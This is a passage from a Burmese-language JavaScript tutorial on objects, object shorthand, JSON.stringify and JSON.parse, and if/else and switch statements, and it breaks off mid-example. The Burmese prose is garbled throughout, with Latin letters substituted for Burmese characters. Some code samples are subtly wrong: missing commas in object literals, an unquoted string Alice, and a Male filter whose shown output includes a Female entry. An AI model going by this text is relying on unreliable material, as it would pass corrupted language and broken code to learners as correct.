String  ရဲ့  split() နဲ့  Array  ရဲ့  join() ကြေတွကို  တဲွပြပီးသုံးeကကြေလ့ရှိပါတယ်။  Array  ကြေတွကို  String
ကြေgပာင်းချင်တဲ့အခါနဲ ့String ကြေတွကို Array ကြေgပာင်းချင်တဲ့အခါမျ ို းမှာ အလွန်အသံုးဝင်ပါတယ်။
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String Method  ကြေတွထဲမှာ  search() နဲ့  replace() ဆိုတဲ့  Method  ကြေတွလည်း အသုံးဝင်ပါကြေသး
တယ်။ ဒါကြေပမယ့် ဒီ Method ကြေတွကို အသုံးgပုနိုင်oုိ့အတွက် Regular Expression ဆိုတဲ့နည်းပညာတစ်မျ ို း
ကို  သိထားoုိ့လုိပါတယ်။  Regular  Expression  ဟာ  အနည်းငယ်  ခက်ခဲတဲ့  အကြေeကာင်းအရာgoစ်လုိ့
ထည့်သွင်းကြေoာ်gပoုိ့ မသင့်ကြေတာ်ကြေသးyူးလုိ့ ယူဆပါတယ်။ ဒါကြေeကာင့် ကြေနာင်တစ်ချနိ်မှာ ဆက်လက်ကြေလ့လာ
ရမယ့် စာရင်းထဲမှာ ထည့်ထားလုိက်ကြေစချင်ပါတယ်။

Standard Object ကြေတွကို လုိအပ်သလုိ gပင်ဆင်goည့်စွက်လုိလ့ည်း ရပါကြေသးတယ်။ ဒီနည်းကိုသံုးoုိ့ အားမ
ကြေပးကြေပမယ့် ရှိမှန်းသိကြေအာင်ကြေတာ့ ထည့်ကြေgပာgပချင်ပါတယ်။ ဒီလုိပါ – 

 JavaScript 

String.prototype.greet = function() {
    return "Hello, World"
}

ဒါဟာ Standard String Object မှာ  greet() Method တစ်ခု ထပ်တိုးလုိက်တာပါ။ ဒါကြေeကာင့်  String
အားလုံးမှာ ဒီ Method ရှိသွားပါပြပီ။ အခုလုိ စမ်းeကည့်နိုင်ပါတယ်။

 JavaScript 

let str = "Some String"

str.greet()    // Hello, World

ကြေတာ်ကြေတာ်ကြေလး  လန့်oုိက့ြေကာင်းတဲ့  လုပ်ကြေဆာင်ချက်ပါ။  မဆင်မgခင်အသုံးgပုသူရဲ့  လက်ထဲမှာ  Standard
Object  ကြေတွအကုန် ကကြေမာက်ကမ goစ်ကုန်နိုင်ကြေစလုိပ့ါ။ ဒါကြေeကာင့် လက်ကြေတွ့သုံးoုိထ့က် ဒါမျ ို းရှိတယ်ဆို
တာကို သိကြေအာင်သာ ထည့်ကြေgပာလုိက်တာပါ။

Creating Objects
Array  တစ်ခုတည်ကြေဆာက်oုိအ့တွက်  Array  Constructor  ကိုသုံးလုိရ့သလုိ  Array  Literal  goစ်တဲ့
ကြေလးကြေထာင့်ကွင်းကိုလည်း  သံုးနိုင်သလုိပါပဲ  Object  တစ်ခတုည်ကြေဆာက်oုိအ့တွက်လည်း  Object
Constructor ကိုသုံးနိုင်သလုိ Object Literal Operator အgoစ် တွန့်ကွင်းအoွင့်အပိတ်ကို သုံးနိုင်ပါတယ်။
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 JavaScript 

let cat = { }

ဒါဟာ  cat ဆိုတဲ့  Object  အလွတ်တစ်ခုကို  တည်ကြေဆာက်လုိက်တာပါ။  Object  တစ်ခုgoစ်တဲ့အတွက်
Standard  Property  ကြေတွ  Method  ကြေတရွှိကြေပမယ့်  ကိုယ်တိုင်သတ်မှတ်ကြေပးထားတဲ့  Property  ကြေတွ
Method ကြေတကွြေတာ့ မရှိကြေသးပါyူး။

 JavaScript 

let cat = { color: "Yellow", legs: 4 }

ဒီတစ်ခါကြေတာ့  cat Object  တစ်ခတုည်ကြေဆာက်စဉ်မှာ  color နဲ့  legs လုိ့ကြေခါ်တဲ့  Property (၂)  ခုကို
တစ်ခါထဲ  ထည့်သွင်းသတ်မှတ်လုိက်တာပါ။  ကြေရးထုံးအရ  Property  နဲ့  Value  ကို  Full-Colon  သကြေက[တ
ကြေလးနဲ့  ပုိင်းgခားပြပီးကြေတာ့ ကြေရးကြေပးရပါတယ်။  Property  အမည်ကြေတွကို  နမူနာမှာ ကြေပးထားသလုိ ဒီအတိုင်း
ကြေရးလုိရ့သလုိ String တစ်ခုကဲ့သုိ့  Quote အoွင့်အပိတ်နဲ့ ကြေရးလုိ့လည်း ရပါတယ်။ Property ကြေတွ များလုိ့
oတ်ရတာ ခက်မှာစိုးရင် အခုလုိလုိင်းကြေတွခွဲပြပီးကြေတာ့လည်း ကြေရးလုိရ့ပါတယ်။

 JavaScript 

let cat = {
    color: "Yellow",
    name: "Shwe War",
    legs: 4,
}

Property  တစ်ခုနဲတ့စ်ခုကို  Comma နဲ့gခားကြေပးရတဲ့အခါ ထူးgခားချက်အကြေနနဲ့ ကြေပးထားတဲ့ နမူနာမှာ ကြေတွ့
gမင်ရသလုိ ကြေနာက်ဆံုးမှာ  Comma တစ်ခု အပုိပါလုိ့ ရပါတယ်။  Trailing Comma လုိ့ကြေခါ်ပါတယ်။ အရင်
က ဒီလုိကြေနာက်ဆံုးမှာ တစ်ခုပုိကြေနလုိ့ မရပါyူး။ အခုကြေနာက်ပုိင်းမှ ရလာတာပါ။ ဒီလုိကြေနာက်ဆံုးမှာ အပုိတစ်
ခုပါလုိရ့တဲ့အတွက်  လုိအပ်လုိ့  Property  ကြေတွ  ထပ်တိုးတဲ့အခါ၊  တစ်ကြေနရာမှာ  မကြေတာ်တဆ  Comma
ကြေမ့ကျန်ခဲ့တယ် ဆိုတဲ့အမှားမျ ို းကြေတွ ကြေလျာ့နည်းသွားကြေစပါတယ်။
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ဒီ   Object   ကို   Property (  ၃  )   ခုပါတဲ့   Object   တစ်ခုလုိ့ gမင်eကည့်လုိရ့သလုိ   Index (  ၃  )   ခုပါတဲ့   Array   တစ်ခု  
လုိလ့ည်း gမင်eကည့်လုိရ့ပါတယ်။ Index ကြေတွက Number မဟုတ်ကြေတာ့yဲ String goစ်သွားတာပဲ ကွာသွား
တာပါ။ Index ကို Key လုိလ့ည်း ကြေခါ်eကပါကြေသးတယ်။ ဒီလုိပါ –  

color name legs

Yellow Shwe War 4

တစ်ကယ်ကြေတာ့  gမင်eကည့်ယုံတင်  မဟုတ်ပါyူး။  လက်ကြေတွ့အသံုးgပုတဲ့အခါမှာလည်း  နှစ်မျ ို းသံုးလုိရ့ပါ
တယ်။  Array  Index  ကြေထာက်သလုိ  ကြေလးကြေထာင့်ကွင်းအoွင့်အပိတ်နဲ့  ကြေရးသားအသုံးgပုနိုင်သလုိ  Object
Property ကိုရယူသလုိ Dot Operator နဲ့လည်း ကြေရးသားအသုံးgပုနိုင်ပါတယ်။

 JavaScript 

cat.legs    // 4
cat["color"]    // Yellow

Property တန်oုိးကြေတွ gပင်ဆင်တာ၊ goည့်စွက်တာကြေတွကိုလည်း နှစ်မျ ို းကြေရးလုိရ့တာပါပဲ။

 JavaScript 

let bird = { color: "Green", legs: 2 }

bird.name = "Shwe Gal"
bird["color"] = "Blue"

Dot  Operator  ကိုသုံးပြပီး  name Property  တစ်ခုထပ်တိုးထားသလုိ  ကြေလးကြေထာင့်ကွင်းကိုသံုးပြပီးကြေတာ့
လည်း  color Index  ကတန်oုိးကို  gပင်gပထားပါတယ်။ ဒါကြေeကာင့် အခုကြေန  bird Object  ရဲ့oဲွ့စည်းပံုက
အခုလုိပုံစံ goစ်ကြေနမှာပါ။

color name legs

Blue Shwe Gal 2
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Object  ဆိုတာ ရှုပ်ကြေထွးတဲ့ သကြေyာသyာဝတစ်ခုပါ။ အ့ဲဒီလုိ ရှုပ်ကြေထွးတဲ့ သကြေyာသyာဝကို ပုိပြပီးရုိးရှင်း
တဲ့  Array တစ်ခုကဲ့သုိ့ gမင်eကည့်ရတာ ပုိလွယ်မယ်ထင်လုိ့ နိှုင်းယှဉ်ကြေoာ်gပခဲ့တာပါ။ ကြေရးထုံးကလည်း ရှိကြေန
တယ်ကြေလ။ လက်ကြေတွ့ကြေရးသားတဲ့အခါ Dot Operator နဲ့ သုံးရတဲ့ Object Property ကြေရးထုံးက ကြေရးရတာပုိ
gမန်သလုိ oတ်ရတာလည်း ပုိရှင်းပါလိမ့်မယ်။

Array မှာ Spread နဲ ့Destructuring လုပ်ကြေဆာင်ချက် ရိှသလုိပဲ Object ကြေတွမှာလည်း ရှိပါတယ်။ ကြေရးနည်း
က အတူတူပါပဲ။  ဒါကြေeကာင့်  အကုန်ကြေတာ့  gပန်မကြေgပာကြေတာ့ပါyူး။  ဥပမာကြေလးတစ်ချ ို ့ပဲ  ထည့်ကြေပးလုိက်ပါ
ကြေတာ့မယ်။

 JavaScript 

let user = { name: "Bob", age: 22 }

function greet({name, age}) {
    return `Hello ${name}, you are ${age} years old`
}

greet(user)        // Hello Bob, you are 22 years old

let { name, age } = user

// name → Bob
// age → 22

Object  မှာ  Method  ကြေတွသတ်မှတ်oုိအ့တွက်  Function  Expression  ကြေတွကိုပဲ  သုံးနိုင်ပါတယ်။
သက်ဆိုင်ရာ Index မှာ ရုိးရုိးတန်oုိး ကြေပးမယ့်အစား Function တစ်ခုကြေပးလုိက်ရတာပါ။ ဒီလုိပါ – 

 JavaScript 

let user = {
    name: "Bob"
    hello: function() {
        return `Hello, I'm ${this.name}`
    }
}

user.name    // Bob
user.name = Alice
user.hello()    // Hello, I'm Alice
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ဒါဟာ name Property နဲ့ hello Method တိုပ့ါဝင်တဲ့ Object တစ်ခုgoစ်ပါတယ်။ hello Method ဟာ
name Property ကို အသုံးgပုထားတာ သတိgပုပါ။ Object ရဲ့ ကိုယ်ပုိင်  Property ကြေတွ Method ကြေတွကို
အသုံးgပုလုိရင် this Keyword ကို အသုံးgပုရပါတယ်။

Object  Method  ကြေတွကို  အတိုကြေကာက်ကြေရးတဲ့နည်း  ရှိပါကြေသးတယ်။  အကြေပါ်ကနမူနာကို  အခုလုိကြေရးရင်
လည်း ရပါတယ်။ အတူတူပါပဲ – 

 JavaScript 

let user = {
    name: "Bob"
    hello() {
        return `Hello, I'm ${this.name}`
    }
}

Object ကြေတွoန်တီးတဲ့အခါ ဒီလုိအကြေgခအကြေနမျ ို းကိုလည်း မeကာခဏ ကြကံုရနိုင်ပါတယ်။

 JavaScript 

let name = "Alice"
let age = 22

let user = {
    name: name,
    age: age
}

Property အမည်နဲ့ အသုံးgပုလုိတဲ့ Variable တူကြေနတာပါ။ အ့ဲဒီလုိ တူကြေနတဲ့အခါ နှစ်ခါကြေရးစရာ မလုိပါyူး၊
အခုလုိ အတိုကြေကာက်ကြေရးလုိက်လုိရ့ပါတယ်။

 JavaScript 

let name = "Alice"
let age = 22
let user = { name, age }
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ကျစ်ကျစ်လစ်လစ် တိုတိတုုတ်တုတ် goစ်သွားတာပါ။ ဒီနည်းကို Property Shorthand လုိ ့ကြေခါ်ပါတယ်။

Object တစ်ခတုည်ကြေဆာက်မှုနဲ့ ပက်သက်ပြပီး သိသင့်တာကြေလးကြေတွ ကျန်ပါကြေသးတယ်။ အ့ဲဒီအကြေeကာင်းကြေတွ
ကို  Object-Oriented  Programming  အခန်းကြေရာက်တဲ့အခါ  ဆက်လက်ကြေoာ်gပပါမယ်။  ဒီကြေနရာမှာ
ထည့်သွင်းပြပီးကြေတာ့ ကြေgပာချင်တာကကြေတာ့ Object Array goစ်ပါတယ်။ ပရုိင်္ဂရမ်းမင်း အကြေeကာင်းကြေလ့လာတဲ့
အခါ  Data  Structure  လုိ့  ကြေခါ်တဲ့  အချက်အလက်  စုoဲွ့ပံုဆိုင်ရာ  သကြေyာသyာဝကြေတွကို  ထည့်သွင်း
ကြေလ့လာeကရပါတယ်။ သီအုိရီအရ Arrays အgပင် Stacks, Queues, Linked List, Trees, Graphs စသgoင့်
Data Structure  အမျ ို းအစား အမျ ို းမျ ို းရှိကြေပမယ့်  JavaScript  မှာကြေတာ့  Object  ကြေတွ  Array  ကြေတွကိုသာ
လုိအပ်သလုိ ကြေပါင်းစပ်ပြပီးကြေတာ့ အသံုးgပုeကပါတယ်။

ဥပမာ - လူတစ်ကြေယာက်ရဲ့ အချက်အလက်ကြေတွကို စုoဲွ့ထားလုိတဲ့အခါ အခုလုိထားနိုင်ပါတယ်။

 JavaScript 

let person = {
    name: "Bob",
    age: 22,
    education: [
        "B.Sc.",
        "MBA",
    ]
}

Object  နဲ့  Array ကိုပဲ ကြေပါင်းစပ် စုoဲွ့လုိက်တာပါ။ အကယ်၍ လူကြေတွအများကြကီးရဲ့ အချက်အလက်ကို စုoဲွ့
ထားလုိရင်ကြေတာ့ အခုလုိgoစ်နိုင်ပါတယ်။

 Pseudocode 

let people = [
    { name: "Alice", age: 21, gender: "Female" },
    { name: "Bob", age: 22, gender: "Male" },
    ...
    { name: "Zack", age: 24, gender: "Male" },
]
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Object ကြေတွကိုပဲ Array တစ်ခုနဲစ့ုoွဲ့ထားကြေပးလုိက်တာပါ။ ဒီနည်းနဲ့ JavaScript မှာ အချက်အလက်ကြေတွကို
စုoဲွ့စီမံeကကြေလ့ရှိတယ်ဆိုတာကို  မှတ်သားထားနိုင်ပါတယ်။ အထက်မှာ ကြေgပာခဲ့တဲ့  Array Methods  ကြေတွနဲ့
ကြေပါင်းစပ်လုိက်တဲ့အခါ  အကြေတာ်ကြေလးgပည့်စံုတဲ့  အချက်အလက်စီမံမှုစနစ်ကို  ရရှိနိုင်ပါတယ်။  ဥပမာ  -
people ကကြေန အမည်ကြေတွချင်း ထုတ်ယူချင်ရင် အခုလုိ ယူလုိရ့နိုင်ပါတယ်။

 JavaScript 

people.map( p => p.name )    // [ "Alice", "Bob", … , "Zack" ]

အကယ်၍ Male ကြေတွချည်းပဲ ကြေရွးထုတ်ချင်တယ်ဆိုရင် အခုလုိ ကြေရွးယူနိုင်ပါတယ်။

 JavaScript 

people.filter( p => p.gender === "Male")
 
/* [ 
    {name: "Bob", age: 22, gender: "Male" },
    … , 
    {name: "Zack", age: 24, gender: "Female" } 
] */

Object  ကို  Data  အကြေနနဲ့  အသုံးgပုတဲ့ကြေနရာမှာ  JSON  လုိ့ကြေခါ်တဲ့ သကြေyာသyာဝ တစ်ခုလည်း ရှိပါကြေသး
တယ်။ JavaScript Object Notation ရဲ့ အတိုကြေကာက်goစ်ပါတယ်။ ကကြေနက့ြေခတ်မှာ အဓိက Data Format
အကြေနနဲ့  အသုံးgပုeကပါတယ်။  JSON  ကို  အနှစ်ချုပ်အားgoင့်  အချက်အလက်ကြေတွကို  JavaScript  Object
ကဲ့သုိ့  စုoဲွ့ထားရှိgခင်းလုိ့  မှတ်ယူနိုင်ပါတယ်။  အားသာချက်ကကြေတာ့  JavaScript  သာမက  ကကြေနက့ြေခတ်
အသုံးများတဲ့  Programming  Language  အားလုံးလုိလုိက  JSON  Format  နဲ့  သိမ်းဆည်းထားတဲ့
အချက်အလက်ကြေတွကို နားလည် အလုပ်လုပ်နိုင်gခင်းပဲ goစ်ပါတယ်။

JSON  နဲ့  JavaScript Object  တိုဟ့ာ ကြေရးထုံးအားgoင့် အတူတူပါပဲ။ ကွဲလဲွချက်အကြေနနဲ့  (၂)  ချက်မှတ်ရပါ
မယ်။ ပထမတစ်ချက်ကကြေတာ့ JSON မှာ Index/Key ကြေတွကို  Double Quote အoွင့်အပိတ်နဲ့ ကြေရးကြေပးရပါ
တယ်။ ဒီလုိပါ –
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 JSON 

{
    "name": "Bob",
    "age": 22,
    "gender": "Male"
}

ကြေရးထုံးတူကြေပမယ့် Index/Key ကြေတွအားလံုး Double Quote အoွင့်အပိတ် အတွင်းမှာ ကြေရးထားတာကို ကြေတွ့
ရမှာ goစ်ပါတယ်။ ပြပီးကြေတာ့၊ ကြေနာက်ဆံုးက Trailing Comma ပါလုိမ့ရတာကိုလည်း သတိgပုပါ။

ဒုတိယကွဲလဲွချက်အကြေနနဲ၊့  တန်oုိးအgoစ်  JSON  က လက်ခံတဲ့  အမျ ို းအစား  (၆)  မျ ို းပဲ ရိှပါတယ်။  String,
Number,  Boolean,  null,  Array,  Object  တို့goစ်ပါတယ်။  ဒီကြေgခာက်မျ ို းကလဲွရင်  တgခားအရာကြေတွကို
အသုံးgပုခွင့်မရှိတဲ့အတွက် JavaScript Object မှာလုိ Function ကြေတွ Method ကြေတွ ပါဝင်လုိရ့မှာ မဟုတ်
ပါyူး။ Comment ကြေတွကိုကြေတာင် ထည့်သွင်းကြေရးသားလုိ့ ရမှာ မဟုတ်ပါyူး။

ဒီကွဲလဲွချက် (၂) ခုကိုမှတ်ထားလုိက်ရင်ကြေတာ့ ရပါပြပီ။ ကျန်ကြေရးထုံးက အတူတူပါပဲ။ ဒါကြေပမယ့် လက်ကြေတွ့မှာ
ကိုယ်တိုင်အတိအကျ  မှန်ကြေအာင်လုိက်ကြေရးကြေနoုိ့ကြေတာ့  မလုိအပ်ပါyူး။  ရုိးရုိး  JavaScript  Object  ကြေတွကို
JSON  String  goစ်ကြေအာင်ကြေgပာင်းလုိရင်  JSON.stringify() လုိ့ကြေခါ်တဲ့  Standard  Method  ကို
အသုံးgပုနိုင်ပါတယ်။ ဒီလုိပါ – 

 JavaScript 

let person = { name: "Alice", age: 21 }

JSON.stringify(person)    // { "name": "Alice", "age": 21 }

ရုိးရုိး  JavaScript  Object  ဟာ  JSON String  goစ်သွားပါပြပီ။  JSON String  လုိ့ကြေgပာတာကို  သတိgပုပါ။
Object မဟုတ်ကြေတာ့ပါyူး။ String goစ်သွားတာပါ။ ရုိးရုိး String မဟုတ်yဲ JSON Format နဲ့ oဲွ့စည်းထား
တဲ့ String တစ်ခုပါ။

အလားတူပဲ JSON String ကြေတွကို JavaScript Object ကြေgပာင်းလုိလ့ည်း ရပါတယ်။ JSON.parse() ကို
သုံးရပါတယ်။
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 JavaScript 

let json = '{ "name": "Alice", "age": 21 }'

JSON.parse(json)    // Object → { name: "Alice", age: 21 }

JSON  ဆိုတာ  အသုံးဝင်တဲ့  JavaScript  Standard  Object  ကြေတွထဲက  တစ်ခုအပါအဝင်goစ်ပါတယ်။
JavaScript  မှာ တgခား အသုံးဝင်တဲ့  Standard Object  ကြေတွ အများကြကီးကျန်ပါကြေသးတယ်။ ရက်စွဲ/အချနိ်
ကြေတွကို  စီမံနိုင်oုိ့အတွက်  Date Object  နဲ့  Absolute, Square Root,  Power, Round, Min,  Max  စတဲ့
တွက်ချက်မှုကြေတွအတွက် Math Object တိုလုိ့့ အကြေgခခံကျတဲ့ Object ကြေတွကကြေန Promise တို့ Proxy တိုလုိ့
အဆင့်gမင့်ကုဒ်  Architecture  အတွက်  အသုံးဝင်တဲ့  Object  ကြေတွထိ  ရှိကြေနပါတယ်။  ဒါကြေတွကို  တစ်ခါထဲ
အကုန်စံုလင်ကြေအာင် ကြေoာ်gပoုိ့မလွယ်သလုိ၊  စာoတ်သူအတွက်လည်း တစ်ခါထဲ အကုန်မှတ်သားကြေလ့လာoုိ့
မလွယ်ပါyူး။ တစ်ကယ်ကြေတာ့ JavaScript Object ကြေတရွဲ့ သကြေyာသyာဝကို အခုကြေလာက် သိထားပြပီဆို
ရင်  လက်ကြေတွ့လုိအပ်လာကြေတာ့မှသာ  သက်ဆိုင်ရာ  Reference  ကြေတွမှာ  ကိုးကားeကည့်သွားလုိက်ရင်
အဆင်ကြေgပသွားမှာပါ။

JavaScript Object Reference ကို ဒီကြေနရာမှာ အgပည့်အစံုကြေလ့လာနိုင်ပါတယ်။

- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects
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အခန်း (၁၇) – JavaScript Control Flows & Loops

ပုံမှန်အားgoင့် ပရုိင်္ဂရမ်တစ်ခုမှာပါဝင်တဲ့ Statement ကြေတွဟာ ကြကိုတင်သတ်မှတ်ထားတဲ့ အစီအစဉ်အတိုင်း
ပုံကြေသအလုပ်လုပ်သွားတာပါ။ အ့ဲဒီလုိအစီအစဉ်အတိုင်း ပံုကြေသမဟုတ်yဲ အကြေgခအကြေနကြေပါ် မူတည်ပြပီး အလုပ်
လုပ်ကြေစချင်ရင်လည်း ရပါတယ်။ ဒီအတွက် Conditional Statement ကို အသုံးgပုနိုင်ပါတယ်။

Conditional Statement  ကြေတွကို  if Keyword  အသုံးgပုပြပီး  ကြေရးရတဲ့အတွက်  If  Statement  လုိလ့ည်း
ကြေခါ်ပါတယ်။  If  Statement  ဟာ  Expression  တစ်ခုကို  လက်ခံပြပီးကြေတာ့  အ့ဲဒီ  Expression  ရဲ့  ရလဒ်
Condition  ကြေပါ်မူတည်ပြပီး  အလုပ်လုပ်ကြေပးပါတယ်။ ရလဒ်ဟာ  true  သုိ့မဟုတ်  false  ဆိုတဲ့  အကြေgခအကြေန
ကြေပါ်မူတည်ပြပီး နှစ်မျ ို းထဲက တစ်မျ ို းကို လုပ်ကြေပးနိုင်ဆိုတဲ့ သကြေyာပါပဲ။ ကြေရးထုံးက ဒီလုိပါ – 

 Pseudocode 

if(condition)
    // if true, do this statement
else
    // if false, do this statements

if Keyword  ကြေနာက်မှာ ဝုိက်ကွင်းအoွင့်အပိတ်နဲ့  Condition  လုိက်ရပြပီး  Condition  ရဲ့ရလဒ်  true  goစ်
ကြေတာ့မှသာ ဆက်လုိက်လာတဲ့  Statement  ကို အလုပ်လုပ်မှာgoစ်ပြပီး  Condition  က false  goစ်ခဲ့ရင်ကြေတာ့
else Keyword ကြေနာက်ကလုိက်တဲ့ Statement ကို အလုပ်လုပ်မှာပါ။ else Statement မလုိအပ်ရင် မ
ထည့်yဲ ကြေနလုိရ့ပါတယ်။
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Statement တစ်ခုထက် ပုိမယ်ဆိုရင်ကြေတာ့ Statement Block နဲ ့ကြေပးနိုင်ပါတယ်။ ဒီလုိပါ – 

 Pseudocode 

if(condition) {
    // if true
    // do these
    // statements
} else {
    // if false
    // do these
    // statements
}

gမင်သာတာကြေလး တစ်ခုကြေလာက် ဥပမာကြေပးချင်ပါတယ်။ Array တစ်ခရုဲ့အတွင်းက 5 ကြေတွကိုလုိက်ရှာပြပီး 10
ကြေပါင်းကြေပးတဲ့ ကုဒ်ကြေလးတစ်ခု ကြေရးeကည့်eကပါမယ်။ ဒီလုိပါ – 

 JavaScript 

let nums = [ 1, 12, 5, 4, 9, 5 ]

let result = nums.map(function(n) {
    if(n === 5) n += 10

    return n
})

// result → [ 1, 12, 15, 4, 9, 15 ]

if Statement  နဲ့  n === 5 Condition  သုံးပြပီး  စစ်လုိက်တာပါ။ မှန်တယ်ဆိုကြေတာ့မှ  n  တန်oုိးကို  10
ကြေပါင်းထည့်မှာgoစ်ပြပီး မမှန်ရင် ဒီအတိုင်းထားလုိက်မှာပါ။  else Statement  မပါပါyူး။ ဒါကြေeကာင့် ရလဒ်
အကြေနနဲ့ Array ထဲက 5 ကြေတွကို 10 ကြေပါင်းကြေပးထားတဲ့ ရလဒ်ကို ရရှိမှာပဲ goစ်ပါတယ်။ 

if Statement  ကြေတွကို  Nested  အထပ်ထပ်ကြေရးရတာမျ ို းလည်း ရှိနိုင်ပါတယ်။ ဥပမာ  -  people Array
ထဲမှာ gender မရှိရင် Unknown လုိ့ကြေပးမယ်။ gender က f သုိမ့ဟုတ် F ဆိုရင် Female လုိ့ ကြေပးမယ်။
m သုိမ့ဟုတ် M ဆိုရင် Male လုိ့ကြေပးမယ် ဆိုeကပါစို။့ ဒီလုိကြေရးလုိရ့နိုင်ပါတယ်။
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 JavaScript 

let people = [
    { name: "Alex" },
    { name: "Bob", gender: "M" },
    { name: "Tom", gender: "m" },
    { name: "Mary", gender: "F" },
]

let result = people.map(function(person) {
    if(person.gender) {
        if(person.gender === "m" || person.gender === "M") {
            person.gender = "Male"
        }

        if(person.gender === "f" || person.gender === "F") {
            person.gender = "Female"
        }
    } else {
        person.gender = "Unknown"
    }

    return person
})

/* result → [
    { name: "Alex", gender: "Unknown" },
    { name: "Bob", gender: "Male" },
    { name: "Tom", gender: "Male" },
    { name: "Mary", gender: "Female" },
] */

ဒီကြေလာက်များတဲ့ ကုဒ်ကို Console ထဲမှာ ကြေရးစမ်းရတာ ကြေတာ်ကြေတာ်လက်ဝင်ပါလိမ့်မယ်။ ဒါကြေeကာင့် HTML
Document တစ်ခုတည်ကြေဆာက်ပြပီး ကုဒ်ကို <script> Element နဲ့ ကြေရးလုိရ့ပါတယ်။
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ပုံကိုeကည့်လုိက်ရင် ကုဒ်ကြေတွကို HTML Document တစ်ခုထဲမှာ <script> Element နဲ့ကြေရးထားပြပီး အ့ဲဒီ
Document ကို  Browser နဲ့oွင့်ထားတာgoစ်ပါတယ်။ ပြပီးကြေတာ့မှ Console မှာ result  ကို ထုတ်eကည့်ထား
တာပါ။ Document ထဲမှာ ကြေရးထားတဲ့ ကုဒ်ကြေတွဟာ Console မှာလည်း သက်ဝင်ပါတယ်။ ကြေနာက်ပုိင်းကုဒ်
ကြေတွ ကြေရးရတာများလုိ ့Console မှာတိုက်ရုိက်ကြေရးရခက်ရင် ဒီနည်းဆက် ကြေရးစမ်းeကည့်နိုင်ပါတယ်။

Condition ဟာ Boolean true/false မဟုတ်ရင်လည်း ရပါတယ်။ Truthy goစ်တဲ့တန်oုိးဆိုရင် true အကြေန
နဲ့ အလုပ်လုပ်သွားမှာgoစ်ပြပီး Falsy goစ်တဲ့ တန်oုိးဆိုရင် false အကြေနနဲ့ အလုပ်လုပ်ကြေပးသွားမှာပါ။ နမူနာမှာ
person.gender ကို  yာနိှုင်းယှဉ်မှုမှ  မပါyဲ  Condition  အကြေနနဲ့  ကြေပးထားပါတယ်။  အကယ်၍
person.gender မရှိရင် undefined goစ်မှာမုိ့လုိ့  Falsy goစ်ပါတယ်။ ဒါကြေeကာင့် else Statement
အလုပ်လုပ်သွားပြပီး  person.gender = Unknown goစ်သွားမှာပါ။  person.gender ရှတိယ်ဆိုရင်
yာပဲရှိရှိ  Truthy  မုိလုိ့့  သူနဲသ့က်ဆိုင်တဲ့  Block  ကို  ဆက်အလုပ်လုပ်သွားမှာပါ။  အထဲမှာ  ကြေနာက်ထပ်
ထပ်ဆင့် စစ်ထားပါကြေသးတယ်။ Comparison Operator နဲ့ Logical Operator ကို ကြေပါင်းပြပီးကြေတာ့ သုံးထား
ပါတယ်။ ကုဒ်အရ m သုိ့မဟုတ် M goစ်ခဲ့ရင် Male လုိ့ သတ်မှတ်ကြေပးသွားမှာgoစ်ပြပီး f သုိ့မဟုတ် F goစ်ခဲ့ရင်
Female လုိ့ သတ်မှတ်သွားမှာgoစ်ပါတယ်။ ဒီ ကုဒ်ကိုကြေနာက်တစ်မျ ို းလည်း ကြေရးလုိရ့ပါကြေသးတယ်။ ဒီလုိပါ –

 JavaScript 
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let result = people.map(function(person) {
    if(person.gender === "m" || person.gender === "M") {
        person.gender = "Male"
    } else if(person.gender === "f" || person.gender === "F") {
        person.gender = "Female"
    } else {
        person.gender = "Unknown"
    }

    return person
})

ဒီကုဒ်ကကြေတာ့  နည်းနည်းပုိရှင်းသွားပါတယ်။  else ကြေနာက်မှာ  ထပ်ဆင့်  if Statement  ကို  ကပ်ကြေရး
ကြေပးလုိက်လုိ့  m သုိမ့ဟုတ် M ဆိုရင် Male, f သုိ့မဟုတ် F ဆိုရင် Female၊ တစ်ခုမှ မဟုတ်ရင် Unknown
ဆိုတဲ့  အဓိပ္ပါယ်ကြေပါက်သွားပါတယ်။ ဒီကြေနရာမှာ  စကားကြေgပာလာတာကကြေတာ့ ကိုယ့်ရဲ့  Logical  Thinking
Skill  ပါပဲ။  ကြေeကာင်းကျ ို းဆက်စပ်  ကြေတွးgမင်တတ်oုိ့  လုိလာပါတယ်။  Logical  Thinking  ကြေကာင်းသူက
အလွယ်ကြေလး gမင်သွားနိုင်ကြေပမယ့်  Logical  Thinking  အားနည်းသူအတွက်ကြေတာ့ နားလည်ရခက်ကြေနနိုင်ပါ
တယ်။ ကြကိုးစားပြပီး gမင်ကြေအာင်ကြေလ့လာeကည့်ပါ။ ပရုိင်္ဂရမ်မာကြေကာင်းတစ်ကြေယာက်မှာ ရှိရမယ့် အရည်အချင်း
ကြေတွထဲက အကြေရးအကြကီးဆံုး တစ်ခုကို ကြေရွးထုတ်gပပါဆိုရင်   Logical Thinking   လုိ့ ကြေgပာရပါလိမ့်မယ်  ။

ကြေနာက်ထပ်အကြေgခကြေနကြေပါ် မူတည်အလုပ်လုပ်ကြေစလုိတဲ့အခါ သုံးနိုင်တဲ့နည်းကကြေတာ့  switch Statement
goစ်ပါတယ်။  ကြေရးထုံးအရ  switch Keyword  ကြေနာက်မှာ  ဝုိက်ကွင်းအoွင့်အပိတ်နဲ့  Express  ကိုကြေပးရပါ
တယ်။ သူကကြေတာ့ true/false စစ်တာမဟုတ်ကြေတာ့yဲ ရလာတဲ့ ရလဒ်နဲ့ ကိုက်ညီတဲ့ case Statement ကို
သွားပြပီးအလုပ်လုပ်ကြေပးမှာ goစ်ပါတယ်။ ဒီလုိပါ – 

 Pseudocode 

switch(1 + 2) {
    case 1: // skip this statement
    case 2: // skip this statement
    case 3: // do this statement
    case 4: // do this statement
}

နမူနာအရ 1 + 2 Expression ကိုကြေပးလုိက်လုိ့ ရလဒ်က 3 goစ်ပါတယ်။ ဒါကြေeကာင့် ကြေပးထားတဲ့ case ကြေတွ
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ထဲက 1 နဲ့  2  ကို အလုပ်မလုပ်yဲ  3  ကိုအလုပ်လုပ်သွားမှာ goစ်ပါတယ်။ ထူးgခားချက်ကကြေတာ့ ကိုက်ညီတဲ့
case ကို ကြေရာက်ပြပီးရင် ဆကတ်ိုက်အကုန်ဆက်လုပ်သွားမှာမုိ့လုိ့  4  ကိုပါအလုပ်လုပ်သွားမှာ goစ်ပါတယ်။
အ့ဲဒီလုိ မလုပ်ကြေစချင်ရင် break Statement ကို သုံးကြေပးရပါတယ်။

 Pseudocode 

switch(1 + 2) {
    case 1:

    // skip this statement
    break

    case 2:
    // skip this statement
    break

    case 3:
    // do this statement
    break

    case 4:
    // do not reach this statement
